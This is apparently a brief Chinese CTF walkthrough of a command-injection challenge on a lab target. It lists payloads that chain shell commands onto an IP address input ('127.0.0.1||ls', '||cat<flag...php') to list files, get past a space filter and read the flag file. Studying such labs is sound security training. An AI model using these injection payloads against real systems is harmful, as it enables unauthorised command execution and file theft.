打开靶机 查看页面信息 开始尝试注入 127.0.0.1 || ls 尝试绕过 127.0.0.1||ls 使用cat命令查看flag 127.0.0.11||cat<flag_10872536812766.php 拿到flag 绕过空格过滤方法很多,详情请自行百度搜索 相关文章: